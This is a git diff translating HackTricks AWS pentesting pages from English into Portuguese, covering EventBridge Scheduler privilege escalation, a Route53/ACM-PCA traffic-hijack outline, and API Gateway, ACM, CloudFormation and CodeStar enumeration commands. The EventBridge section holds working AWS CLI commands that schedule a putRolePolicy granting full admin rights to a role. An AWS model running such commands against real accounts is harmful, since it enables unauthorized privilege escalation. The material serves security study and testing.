b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Mais informações sobre o EventBridge Scheduler em: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Um atacante com essas permissões será capaz de **`criar`|`atualizar` um agendador e abusar das permissões do papel do agendador** anexado a ele para realizar qualquer ação +Por exemplo, eles poderiam configurar o agendamento para **invocar uma função Lambda** que é uma ação template: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +Além das ações de serviço modeladas, você pode usar **alvos universais** no EventBridge Scheduler para invocar uma ampla gama de operações de API para muitos serviços AWS. Alvos universais oferecem flexibilidade para invocar quase qualquer API. Um exemplo pode ser usar alvos universais adicionando "**AdminAccessPolicy**", usando um papel que tem a política "**putRolePolicy**": ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Referências - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..afa6431a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Para mais informações sobre o Route53, consulte: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Para realizar este ataque, a conta alvo deve já ter uma [**Autoridade Certificadora Privada do AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Outras permissões **recomendadas, mas não obrigatórias para a parte de enumeração**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descritas acima, ele pode **sequestar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM. -This is possible because: +Isso é possível porque: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- Os SDKs da AWS não têm [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- O Route53 permite criar Zona Privada Hospedada e registros DNS para nomes de domínio da API da AWS +- A CA Privada no ACM-PCA não pode ser restrita a assinar apenas certificados para Nomes Comuns específicos -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego. -#### Exploitation +#### Exploração -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Encontre os passos de exploração na pesquisa original: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..f14253e4d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,35 +1,31 @@ -# AWS - Services +# AWS - Serviços {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Tipos de serviços -### Container services +### Serviços de contêiner -Services that fall under container services have the following characteristics: +Os serviços que se enquadram na categoria de serviços de contêiner têm as seguintes características: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- O serviço em si é executado em **instâncias de infraestrutura separadas**, como EC2. +- **AWS** é responsável por **gerenciar o sistema operacional e a plataforma**. +- Um serviço gerenciado é fornecido pela AWS, que é tipicamente o próprio serviço para a **aplicação real que é vista como contêineres**. +- Como usuário desses serviços de contêiner, você tem uma série de responsabilidades de gerenciamento e segurança, incluindo **gerenciar a segurança de acesso à rede, como regras de listas de controle de acesso à rede e quaisquer firewalls**. +- Além disso, gerenciamento de identidade e acesso em nível de plataforma, onde existir. +- **Exemplos** de serviços de contêiner da AWS incluem Relational Database Service, Elastic Mapreduce e Elastic Beanstalk. -### Abstract Services +### Serviços Abstratos -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Esses serviços são **removidos, abstraídos, da plataforma ou camada de gerenciamento sobre a qual as aplicações em nuvem são construídas**. +- Os serviços são acessados por meio de endpoints usando interfaces de programação de aplicativos da AWS, APIs. +- A **infraestrutura subjacente, sistema operacional e plataforma é gerenciada pela AWS**. +- Os serviços abstratos fornecem uma plataforma de multi-inquilinos na qual a infraestrutura subjacente é compartilhada. +- **Os dados são isolados por meio de mecanismos de segurança**. +- Os serviços abstratos têm uma forte integração com IAM, e **exemplos** de serviços abstratos incluem S3, DynamoDB, Amazon Glacier e SQS. -## Services Enumeration +## Enumeração de Serviços -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**As páginas desta seção estão ordenadas por serviço da AWS. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e que permitirão que você escale privilégios.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..08a361b64 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -1,43 +1,42 @@ -# AWS - API Gateway Enum +# AWS - Enumeração do API Gateway {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -### Basic Information +### Informações Básicas -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway é um serviço abrangente oferecido pela Amazon Web Services (AWS) projetado para desenvolvedores **criarem, publicarem e supervisionarem APIs em grande escala**. Ele funciona como um ponto de entrada para um aplicativo, permitindo que os desenvolvedores estabeleçam um conjunto de regras e procedimentos. Este conjunto rege o acesso que usuários externos têm a certos dados ou funcionalidades dentro do aplicativo. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway permite que você defina **como as solicitações para suas APIs devem ser tratadas**, e pode criar endpoints de API personalizados com métodos específicos (por exemplo, GET, POST, PUT, DELETE) e recursos. Ele também pode gerar SDKs de cliente (Kits de Desenvolvimento de Software) para facilitar que os desenvolvedores chamem suas APIs a partir de seus aplicativos. -### API Gateways Types +### Tipos de API Gateways -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: Crie APIs REST de baixa latência e custo-efetivas com recursos integrados, como OIDC e OAuth2, e suporte nativo a CORS. Funciona com: Lambda, backends HTTP. +- **WebSocket API**: Crie uma API WebSocket usando conexões persistentes para casos de uso em tempo real, como aplicativos de chat ou painéis. Funciona com: Lambda, HTTP, Serviços AWS. +- **REST API**: Desenvolva uma API REST onde você tem controle total sobre a solicitação e a resposta, juntamente com capacidades de gerenciamento de API. Funciona com: Lambda, HTTP, Serviços AWS. +- **REST API Privada**: Crie uma API REST que é acessível apenas de dentro de uma VPC. -### API Gateway Main Components +### Principais Componentes do API Gateway -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Recursos**: No API Gateway, recursos são os componentes que **formam a estrutura da sua API**. Eles representam **os diferentes caminhos ou endpoints** da sua API e correspondem às várias ações que sua API suporta. Um recurso é cada método (por exemplo, GET, POST, PUT, DELETE) **dentro de cada caminho** (/, ou /users, ou /user/{id}). +2. **Estágios**: Estágios no API Gateway representam **diferentes versões ou ambientes** da sua API, como desenvolvimento, homologação ou produção. Você pode usar estágios para gerenciar e implantar **múltiplas versões da sua API simultaneamente**, permitindo que você teste novos recursos ou correções de bugs sem afetar o ambiente de produção. Estágios também **suportam variáveis de estágio**, que são pares chave-valor que podem ser usados para configurar o comportamento da sua API com base no estágio atual. Por exemplo, você poderia usar variáveis de estágio para direcionar solicitações de API para diferentes funções Lambda ou outros serviços de backend, dependendo do estágio. +- O estágio é indicado no início da URL do endpoint do API Gateway. +3. **Autorizadores**: Autorizadores no API Gateway são responsáveis por **controlar o acesso à sua API** verificando a identidade do chamador antes de permitir que a solicitação prossiga. Você pode usar **funções AWS Lambda** como autorizadores personalizados, o que permite implementar sua própria lógica de autenticação e autorização. Quando uma solicitação chega, o API Gateway passa o token de autorização da solicitação para o autorizador Lambda, que processa o token e retorna uma política IAM que determina quais ações o chamador pode realizar. O API Gateway também suporta **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** e **Amazon Cognito**. +4. **Política de Recurso**: Uma política de recurso no API Gateway é um documento JSON que **define as permissões para acessar sua API**. É semelhante a uma política IAM, mas especificamente adaptada para o API Gateway. Você pode usar uma política de recurso para controlar quem pode acessar sua API, quais métodos eles podem chamar e de quais endereços IP ou VPCs eles podem se conectar. **Políticas de recurso podem ser usadas em combinação com autorizadores** para fornecer controle de acesso detalhado para sua API. +- Para que a modificação da política de recurso tenha efeito, a API precisa ser **implantada novamente após** a modificação. -### Logging +### Registro -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +Por padrão, **CloudWatch Logs** estão **desligados**, **Registro de Acesso** está **desligado**, e **rastreamento X-Ray** também está **desligado**. -### Enumeration +### Enumeração > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Observe que em ambas as APIs da AWS para enumerar recursos (**`apigateway`** e **`apigatewayv2`**) a única permissão que você precisa e a única permissão de leitura que pode ser concedida é **`apigateway:GET`**, com isso você pode **enumerar tudo.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## Diferentes Autorizações para acessar os endpoints do API Gateway -### Resource Policy +### Política de Recursos -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +É possível usar políticas de recursos para definir quem pode chamar os endpoints da API.\ +No exemplo a seguir, você pode ver que o **IP indicado não pode chamar** o endpoint `/resource_policy` via GET.
-### IAM Authorizer +### Autorizador IAM -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +É possível definir que um método dentro de um caminho (um recurso) requer autenticação IAM para ser chamado.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Quando isso é configurado, você receberá o erro `{"message":"Missing Authentication Token"}` ao tentar acessar o endpoint sem nenhuma autorização. +Uma maneira fácil de gerar o token esperado pela aplicação é usar **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Outra maneira é usar o tipo **`Authorization`** **`AWS Signature`** dentro do **Postman**.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Defina o accessKey e o SecretKey da conta que você deseja usar e você pode autenticar contra o endpoint da API. +Ambos os métodos gerarão um **Authorization** **header** como: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Note que em outros casos o **Authorizer** pode ter sido **mal codificado** e enviar **qualquer coisa** dentro do **Authorization header** irá **permitir ver o conteúdo oculto**. ### Request Signing Using Python - ```python pip install requests @@ -193,86 +184,83 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` - ### Custom Lambda Authorizer -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +É possível usar uma lambda que, com base em um token fornecido, **retornará uma política IAM** indicando se o usuário está **autorizado a chamar o endpoint da API**.\ +Você pode definir cada método de recurso que usará o autorizer.
-Lambda Authorizer Code Example - +Exemplo de Código do Lambda Authorizer ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +Chame-o com algo como: -
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
+
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: seu-token-secreto'
 
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Dependendo do código Lambda, esta autorização pode ser vulnerável -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Note que se uma **política de negação for gerada e retornada**, o erro retornado pelo API Gateway é: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +Dessa forma, você poderia **identificar essa autorização** em vigor. -### Required API Key +### Chave de API Necessária -It's possible to set API endpoints that **require a valid API key** to contact it. +É possível definir endpoints de API que **exigem uma chave de API válida** para contatá-los.
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +É possível gerar chaves de API no portal do API Gateway e até definir quanto elas podem ser usadas (em termos de requisições por segundo e em termos de requisições por mês). -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +Para fazer uma chave de API funcionar, você precisa adicioná-la a um **Plano de Uso**, esse plano de uso deve ser adicionado ao **Estágio da API** e o estágio da API associado precisa ter uma **limitação de método** configurada para o **endpoint** que requer a chave de API:
-## Unauthenticated Access +## Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -284,20 +272,16 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitation +## Pós Exploração {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## Persistência {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..70bb68126 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** é fornecido como um serviço destinado a simplificar o **provisionamento, gerenciamento e implantação de certificados SSL/TLS** para serviços AWS e recursos internos. A necessidade de processos manuais, como compra, upload e renovações de certificados, é **eliminada** pelo ACM. Isso permite que os usuários solicitem e implementem certificados de forma eficiente em vários recursos AWS, incluindo **Elastic Load Balancers, distribuições Amazon CloudFront e APIs no API Gateway**. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +Uma característica chave do ACM é a **renovação automática de certificados**, reduzindo significativamente a sobrecarga de gerenciamento. Além disso, o ACM suporta a criação e o gerenciamento centralizado de **certificados privados para uso interno**. Embora os certificados SSL/TLS para serviços integrados da AWS, como Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway, sejam fornecidos sem custo adicional através do ACM, os usuários são responsáveis pelos custos associados aos recursos AWS utilizados por suas aplicações e uma taxa mensal para cada **Autoridade Certificadora (CA) privada** e certificados privados usados fora dos serviços integrados do ACM. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** é oferecido como um **serviço de CA privada gerenciado**, aprimorando as capacidades do ACM ao estender o gerenciamento de certificados para incluir certificados privados. Esses certificados privados são fundamentais para autenticar recursos dentro de uma organização. -## Enumeration +## Enumeração ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,17 +46,12 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO -## Post Exploitation +## Pós Exploração TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..8e9beab34 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Esta automação facilita uma gestão mais eficiente e sem erros da infraestrutura AWS. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,25 +29,23 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do cloudformation para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} -### Post-Exploitation +### Pós-Exploração -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). - -### Enumeration +AWS CodeStar é um serviço para criar, gerenciar e trabalhar com projetos de desenvolvimento de software na AWS. Você pode desenvolver, construir e implantar rapidamente aplicações na AWS com um projeto AWS CodeStar. Um projeto AWS CodeStar cria e **integra serviços da AWS** para sua cadeia de ferramentas de desenvolvimento de projetos. Dependendo da sua escolha de template de projeto AWS CodeStar, essa cadeia de ferramentas pode incluir controle de versão, construção, implantação, servidores virtuais ou recursos sem servidor, e mais. O AWS CodeStar também **gerencia as permissões necessárias para os usuários do projeto** (chamados de membros da equipe). +### Enumeração ```bash # Get projects information aws codestar list-projects @@ -56,24 +53,19 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do codestar para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..3f4943246 100644 --- 